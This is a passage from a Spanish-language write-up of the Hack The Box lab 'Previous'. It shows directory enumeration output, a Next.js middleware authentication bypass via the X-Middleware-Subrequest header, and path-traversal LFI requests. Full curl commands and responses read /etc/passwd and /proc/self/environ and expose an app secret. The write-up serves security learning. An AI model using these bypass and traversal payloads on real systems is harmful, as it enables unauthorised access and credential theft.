&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 36B - /docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /docs/changelog.txt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fchangelog.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 54B - /docs/export-demo.xml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fexport-demo.xml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 66B - /docs/html/admin/ch03s07.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 38B - /docs51 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs51
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 51B - /docs/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 67B - /docs/html/developer/ch02.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 54B - /docs/maintenance.txt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fmaintenance.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 70B - /docs/html/developer/ch03s15.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 56B - /docs/html/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 63B - /docs/html/admin/ch01.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Fch01.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 66B - /docs/html/admin/ch01s04.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 64B - /docs/html/admin/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 51B - /docs/updating.txt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fupdating.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:41&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 39B - /engine/classes/swfupload//swfupload.swf -&amp;gt; /engine/classes/swfupload/swfupload.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:41&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 42B - /engine/classes/swfupload//swfupload_f9.swf -&amp;gt; /engine/classes/swfupload/swfupload_f9.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:43&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 27B - /extjs/resources//charts.swf -&amp;gt; /extjs/resources/charts.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:47&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 37B - /html/js/misc/swfupload//swfupload.swf -&amp;gt; /html/js/misc/swfupload/swfupload.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:59:03&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; - 3KB - /signin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="auth-bypass-nextjs--middleware"&gt;Auth Bypass (Next.js / middleware)&lt;/h3&gt;
&lt;p&gt;A partir de &lt;strong&gt;Wappalyzer&lt;/strong&gt; se identificó una versión vulnerable a &lt;strong&gt;Auth Bypass&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8005-84b5-df3212b9082a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La técnica consistía en añadir un encabezado específico a la request.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80fc-a54a-c90485e3c637.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Con el bypass, se siguieron enumerando rutas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80ed-ae21-cf87f8bd4f9a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aparece un endpoint interesante: &lt;code&gt;/api/download&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="apidownload--lfi"&gt;/api/download → LFI&lt;/h3&gt;
&lt;p&gt;Se hizo fuzzing del parámetro y aparece el nombre &lt;code&gt;example&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8072-881b-c6c880e8885a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Probando el endpoint con &lt;code&gt;curl&lt;/code&gt; se observa un comportamiento de descarga.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-806e-b0ff-d69b119ea81e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;A partir de ahí se prueba un &lt;strong&gt;LFI&lt;/strong&gt; sobre el parámetro.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ curl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware&amp;#34;&lt;/span&gt; -v
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Host previous.htb:80 was resolved.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv6: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;none&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv4: 10.10.11.83
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Trying 10.10.11.83:80...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connected to previous.htb &lt;span style="color:#f92672"&gt;(&lt;/span&gt;10.10.11.83&lt;span style="color:#f92672"&gt;)&lt;/span&gt; port &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* using HTTP/1.x
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; GET /api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../etc/passwd HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Host: previous.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; User-Agent: curl/8.13.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Request completely sent off
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; HTTP/1.1 &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Server: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Date: Tue, &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt; Sep &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; 11:33:47 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Type: application/zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Length: &lt;span style="color:#ae81ff"&gt;787&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Disposition: attachment; filename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;passwd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; ETag: &lt;span style="color:#e6db74"&gt;&amp;#34;41amqg1v4m26j&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root:x:0:0:root:/root:/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bin:x:1:1:bin:/bin:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daemon:x:2:2:daemon:/sbin:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sync:x:5:0:sync:/sbin:/bin/sync
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;halt:x:7:0:halt:/sbin:/sbin/halt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mail:x:8:12:mail:/var/mail:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;news:x:9:13:news:/usr/lib/news:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp:x:21:21::/var/lib/ftp:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sshd:x:22:22:sshd:/dev/null:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;games:x:35:35:games:/usr/games:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntp:x:123:123:NTP:/var/empty:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;guest:x:405:100:guest:/dev/null:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nobody:x:65534:65534:nobody:/:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;node:x:1000:1000::/home/node:/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connection &lt;span style="color:#75715e"&gt;#0 to host previous.htb left intact&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Variables de entorno&lt;/p&gt;
&lt;p&gt;Se revisó &lt;code&gt;/proc/self/environ&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ curl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../proc/self/environ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware&amp;#34;&lt;/span&gt; -v --output env
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; % Total % Received % Xferd Average Speed Time Time Time Current
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Dload Upload Total Spent Left Speed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; --:--:-- --:--:-- --:--:-- 0* Host previous.htb:80 was resolved.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv6: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;none&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv4: 10.10.11.83
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Trying 10.10.11.83:80...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connected to previous.htb &lt;span style="color:#f92672"&gt;(&lt;/span&gt;10.10.11.83&lt;span style="color:#f92672"&gt;)&lt;/span&gt; port &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* using HTTP/1.x
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; GET /api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../proc/self/environ HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Host: previous.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; User-Agent: curl/8.13.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Request completely sent off
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; HTTP/1.1 &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Server: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Date: Tue, &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt; Sep &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; 11:37:25 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Type: application/zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Length: &lt;span style="color:#ae81ff"&gt;216&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Disposition: attachment; filename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;environ&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; ETag: &lt;span style="color:#e6db74"&gt;&amp;#34;151dqoq1n56jy&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;216&lt;/span&gt; bytes data&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;216&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;216&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;517&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; --:--:-- --:--:-- --:--:-- &lt;span style="color:#ae81ff"&gt;519&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connection &lt;span style="color:#75715e"&gt;#0 to host previous.htb left intact&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NODE_VERSION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;18.20.8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOSTNAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0.0.0.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;YARN_VERSION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1.22.22
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SHLVL&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/home/nextjs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PATH&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NEXT_TELEMETRY_DISABLED&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PWD&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/app
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NODE_ENV&lt;span style="color:#f92672"&gt;=&lt;/span&gt;production
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="búsqueda-en-app-nextjs"&gt;Búsqueda en /app (Next.js)&lt;/h3&gt;
&lt;p&gt;Con el LFI se fue explorando el directorio de la aplicación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80c6-91d1-f535ca622761.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8062-a47c-e67e4d9b00e1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80d9-8ac1-ee8576be767b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Se localizó:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NEXTAUTH_SECRET:82a464f1c3509a81d5c973c31a23c61a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Además, se obtuvo un fichero &lt;code&gt;app&lt;/code&gt; con configuración/rutas de Next.js:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ cat app
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;: 3,
